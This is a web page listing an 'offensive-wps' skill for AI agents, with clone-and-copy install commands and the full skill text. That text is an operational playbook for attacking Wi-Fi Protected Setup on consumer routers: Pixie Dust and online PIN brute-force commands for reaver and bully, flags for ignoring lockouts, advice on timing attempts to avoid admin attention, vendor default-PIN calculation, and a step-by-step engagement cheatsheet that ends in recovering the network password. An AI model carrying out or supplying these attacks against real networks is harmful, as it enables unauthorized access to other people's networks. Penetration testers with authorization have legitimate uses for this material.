offensive-wps skill
WPS (Wi-Fi Protected Setup) PIN attack methodology — Pixie Dust offline attack against vulnerable chipsets (Ralink, Realtek, Broadcom, MediaTek), online PIN brute-force with reaver/bully, lockout handling, time-of-day evasion, WPS push-button vulnerability windows, and PIN-to-PSK derivation. Use when a target SOHO router exposes WPS — common on consumer ISP gear, often left enabled by default even when WPS attacks have been known for over a decade.
Is the offensive-wps skill safe?
Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.
No findings.
Install the offensive-wps skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red mkdir -p ~/.claude/skills cp -r /tmp/Claude-Red/Skills/wireless/offensive-wps ~/.claude/skills/offensive-wps
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
WPS PIN Attacks
WPS converts an 8-digit PIN into the network PSK via the M3/M4 message exchange. The PIN is split into 4-digit + 3-digit halves (the 8th digit is a checksum), giving only 11,000 effective combinations — and on vulnerable chipsets, the offline Pixie Dust attack recovers the PIN in seconds without ever sending an online attempt.
Quick Workflow
- Detect WPS-enabled APs (look for the WPS IE in beacons)
- Try Pixie Dust first — offline, undetectable, instantaneous when it works
- If chipset isn't vulnerable, check whether online brute is feasible (lockout policy)
- Online brute as last resort, slow and detectable
Detection
# wash — dedicated WPS scanner
sudo wash -i wlan0mon
# Or use airodump-ng with WPS column
sudo airodump-ng wlan0mon --wpsOutput includes: WPS version (1.0 / 2.0), Locked status, Configured/Unconfigured, vendor.
WPS 2.0 introduced lockout enforcement, but many consumer APs still implement it as "lock for 60 seconds after 3 failures" — easily bypassed by waiting.
Pixie Dust (Offline)
The Pixie Dust attack exploits weak nonce generation in WPS-implementing chipsets. The attack captures one full WPS handshake (M1-M4) and then offline-computes the PIN.
# reaver with Pixie Dust mode
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
# bully alternative
sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0monWhen successful:
[Pixie-Dust] WPS PIN: 12345670
[Pixie-Dust] WPA PSK: ActualPasswordHere
[Pixie-Dust] AP SSID: HomeWiFiThe PIN gives you the PSK directly via the M7 message — no PSK cracking needed.
Online PIN Brute-Force
When Pixie Dust fails, online brute is the fallback. Send EAPOL-Start → M1 → M2 → M3 attempts with successive PINs.
# reaver online mode (default)
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF \
-L -N -d 15 -t 30 -T .5 -r 3:30 -vv
# Flags:
# -L : ignore failed lockouts
# -N : don't send NACK packets
# -d 15 : 15-second delay between attempts
# -t 30 : timeout
# -T .5 : timeout for receiving M5/M7
# -r 3:30 : pause 30s every 3 attemptsLockout Handling
Most modern APs lock WPS after a few failed PINs. Detect lockout:
- AP stops responding to EAPOL-Start
- WPS Locked flag in beacon switches to Yes
Strategies:
- Wait it out: many APs auto-unlock after 60–600 seconds. Set -r accordingly.
- Reboot the AP: physically resets state. Only works if you have authorization for that disruption.
- Spread attempts across time of day: low-traffic windows to avoid coincident legitimate WPS use that triggers admin attention.
Time Estimate
- 11,000 attempts × (delay + timeout) ≈ best case 4 hours, realistic 12–24 hours
- Lockout multiplier: 5–20x depending on policy
- Pixie Dust beats this by minutes when vulnerable. Always try first.
Push-Button (PBC) Method
WPS PBC opens a 120-second window after the user presses the button on the AP. During this window any client requesting WPS is paired without PIN.
Attack viability:
- Practically: requires either physical access to push the button (= you've already won) or social engineering ("the IT guy will press the button at 14:00")
- Some buggy APs have a permanent PBC window — test by sending PBC association
# Trigger PBC pairing attempt
sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -PPIN-Default Patterns
Some vendors derive the WPS PIN from MAC + serial. With known algorithms:
# wpscalc / WPSPIN — calculate likely PINs from BSSID
wpspin --bssid AA:BB:CC:DD:EE:FF
# Outputs candidate PINs to try first before bruteHit rate is high on certain Belkin, ZyXEL, and Linksys models.
Detection Considerations
Pixie Dust against a vulnerable chipset is essentially undetectable from the wire perspective — only one WPS exchange happens, identical to a legitimate client.
Engagement Cheatsheet
# 1. Setup
sudo airmon-ng check kill && sudo airmon-ng start wlan0
# 2. Find WPS APs
sudo wash -i wlan0mon
# 3. Pixie Dust first
sudo reaver -i wlan0mon -b <BSSID> -K 1 -vvv
# 4. If Pixie Dust fails, try vendor-specific PIN candidates
wpspin --bssid <BSSID> | head -10
# 5. Online brute as last resort
sudo reaver -i wlan0mon -b <BSSID> -L -N -d 15 -t 30 -r 3:30 -vv
# 6. Once PIN known, derive PSK from M7 message
# (reaver does this automatically; bully prints PSK on success)Key References
- pixiewps: github.com/wiire-a/pixiewps
- reaver: github.com/t6x/reaver-wps-fork-t6x
- bully: github.com/aanarchyy/bully
- WPS 2.0 spec (Wi-Fi Alliance)
- "Pixie Dust Attack" (Bongard, 2014) — original disclosure
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/wireless.md
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